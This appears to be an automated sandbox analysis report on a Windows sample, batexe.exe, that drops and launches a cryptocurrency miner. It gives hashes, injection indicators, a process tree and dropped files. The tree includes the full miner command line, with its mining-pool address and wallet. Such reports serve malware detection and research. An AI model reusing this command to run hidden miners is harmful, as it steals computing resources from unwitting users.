73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
301s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
24-02-2024 06:00

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3868	b2e.exe
2132	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2132	cpuminer-sse2.exe
2132	cpuminer-sse2.exe
2132	cpuminer-sse2.exe
2132	cpuminer-sse2.exe
2132	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/324-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 324 wrote to memory of 3868	324	batexe.exe	74
PID 324 wrote to memory of 3868	324	batexe.exe	74
PID 324 wrote to memory of 3868	324	batexe.exe	74
PID 3868 wrote to memory of 4484	3868	b2e.exe	75
PID 3868 wrote to memory of 4484	3868	b2e.exe	75
PID 3868 wrote to memory of 4484	3868	b2e.exe	75
PID 4484 wrote to memory of 2132	4484	cmd.exe	78
PID 4484 wrote to memory of 2132	4484	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:324
- C:\Users\Admin\AppData\Local\Temp\737A.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\737A.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\737A.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3868
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\754F.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4484
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2132

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\737A.tmp\b2e.exe

Filesize
3.6MB

MD5
47f1454cd4f6a38b0703f9693f2fbd62

SHA1
d745d6a8fc5314b68174d7f06ab369440b96306a

SHA256
a007b0f85bacf055b10b1e87a0de5627fc6c3f1659ad473879ddd38fd50fc52b

SHA512
a6a39525a4cd1fd170babbc578a5134d1a1878cb02773429cf9be242442c0a67d208f8b08ae80589d1b966ba14d7856cb792bae8bb080a004589de8bd2cb0a48

Download Submit
C:\Users\Admin\AppData\Local\Temp\737A.tmp\b2e.exe

Filesize
3.8MB

MD5
8782954c8b6aac082ecc8b96cb0fa380

SHA1
2fe2dfb712df083d04ef662151f7a323078cdbaf

SHA256
472a521487323090d233b2931089d485be932bb7b1df7cc096c8b498ff04a73b

SHA512
d8a809cff6a7fa2b0762724eabda592db73e20311c184937574671be8cdff033ed4b9886992aa225aa923449c5a5a7949bcd5194ac26972001b95349506beb31

Download Submit
C:\Users\Admin\AppData\Local\Temp\754F.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
467KB

MD5
9baaea773ed0ff18bb1abed020d365bb

SHA1
ec2d1d92d002cc16b63e412d24d23024db51fae0

SHA256
30f628f1c61d025ecd5bb9632bb734dc860c18d64fd73b04128e1a41b9faeb44

SHA512
0fdf3909ad03c00d25328353737cc8f34c625ed3ae755d17ac0840a301b7a180fbb39c080035f3ceb8e05671167bacd73589fdec12e9fd4858784ee3971167bc

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
600KB

MD5
f63e153a45306a4fd0b69f84f8f7d9f5

SHA1
36b572ec517f4d237ea530c9b76d79e506bdbba4

SHA256
82ae9c236489542debb71732764302b7031825f31ec78e47e5cd7957d220ad97

SHA512
a9ad9f98e6ace1ab9f35f396a801283d99d57e6312883e57019857b67050f0cabba71b34c722d5a36a979dfcc293ca4ecbb62ce9780d921696ae46b09aee4304

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
533KB

MD5
7811a3c07f84e707205cc1cc84d83e1e

SHA1
3d85b493ddbcee97818689f7061547daf06c1d1b

SHA256
7dc970929960b25cb59f0721cb73e312e336a4bc7b0becbefff4208e2711c3fe

SHA512
8f054fab0263e240997bdc64397f1e2b353814e1e402a2683667159f002455efc92b7978c4428ff97a11c0098cadcd9ed574c2a8bee72580f983b3d54e7a24a2

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
628KB

MD5
ad9b805f1f9a52c1a157e47206a3aa0a

SHA1
93f725ddee95067e287a9f254b516ffef18c676c

SHA256
d9baee691176f6a20304ea5b58eda5ff17a286e0306c2eaeb8ffbf03576b6983

SHA512
ce69cec5110d41a2454f63544204b00ffe8573335ee40c462b62cd37a5e2b469e938da69dfd10935c12387a2b30a9250dbf80884e84ba2b31fc91316c9b4b9b2

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
548KB

MD5
246d0cda5ed07c63383e7321c2f428a6

SHA1
eaf51458cd9504d2a67acbc7ead8e20c527d881f

SHA256
63802fd1c6300cfe4d0f47c3bbe5d4c50bc4d542fe3c57b05c7d58fc12e7e4d3

SHA512
daa1f618f729f757ebb73a3af62b736591b8a74af1bff3c798d1bae41cc9c1615756bbbb57733a19d980c9628b061986f615c70f7e0ab681d69d69a7aca3d22e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
803KB

MD5
790db2f5733c43d6e4f843277bcc95c7

SHA1
ba8c5f63892103cf09abd8ea08f198f5ad673eae

SHA256
13a5349d221c5059871a6ca7a900abe2f1b709b907184195706d883811374df1

SHA512
339ee96b86f41a6c68dcac63b45c264af2c92dd847e5a14b8dc284f588b9da096e1ed8aac845c54067aba9fcfb1c558f5da9f4d9c8443a1e91f642e3e3fb0497

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
384KB

MD5
b91f7bb5508b343188ec32dcc7880611

SHA1
fe2ae7ba4a1bbb2a5df7b73f21a0b8fc745cc11f

SHA256
47881756cdfcb302e63efb2016c122a1bb61574d81186275aef3d5a9fb72b84b

SHA512
a5b91bc653cbf28219b6f169d5d849fb53eced9a932b8edf468c9092544795ee8120d5c76f0c45f27b7a2464c328f5bffcabf3e83d2e7236263ea930cf92eea0

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
494KB

MD5
92fc6fc0c5ab693a6ee7d52b807aee80

SHA1
89ea84584c6ddee85e6124168ec9db734d02fac0

SHA256
61f634b918f12abf92726328faf790b1eefa3acfcaded5cbbb33d2296b04e299

SHA512
3bc23588af87a6c8834fda2eb98ccb5c43a6083ec60afbc87c635ee61060bb1d4a09157b74d3f679c442e44baa4a98390add3f0e20aa2206cda228a137653066

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
277KB

MD5
62539ee480d420279f61da5b64059b4e

SHA1
20a1749fd115f352913667e06494db087434cadd

SHA256
92d43579ac1687bf4470ef5c4ddddd4e1d4d62f8d83f8b21b4b82fc49dcbdd17

SHA512
dbbf2de94abdd258c639f460c9bd4c9b1daa681534d53b6b2df4d6b38c4fd41ebd7ce1defa6a99c3f2261ac85577de5dcb128c4e7f8c170133ad451e542c20eb

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
417KB

MD5
25329278e5465ad461c0cb1aef1c6444

SHA1
9f1c03707d20014457313c0fa63381be0b548c08

SHA256
8323e292be6d15ffd449045fb5103ccf906fd802c939985b92dd7045a41a04e5

SHA512
e170567f4d8d2d2c6a5dd3743ce0de464e4f440223e29b2b8d3777d4e7c406ae93c211261ce39d335e36272b08986aac1dc89cd38e036f2b5d0774a27ce2b85d

Download Submit
memory/324-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2132-43-0x00000000596F0000-0x0000000059788000-memory.dmp

Filesize
608KB

Download
memory/2132-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2132-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2132-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2132-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2132-44-0x0000000001140000-0x00000000029F5000-memory.dmp

Filesize
24.7MB

Download
memory/2132-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2132-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2132-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2132-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2132-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2132-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2132-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2132-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3868-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3868-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download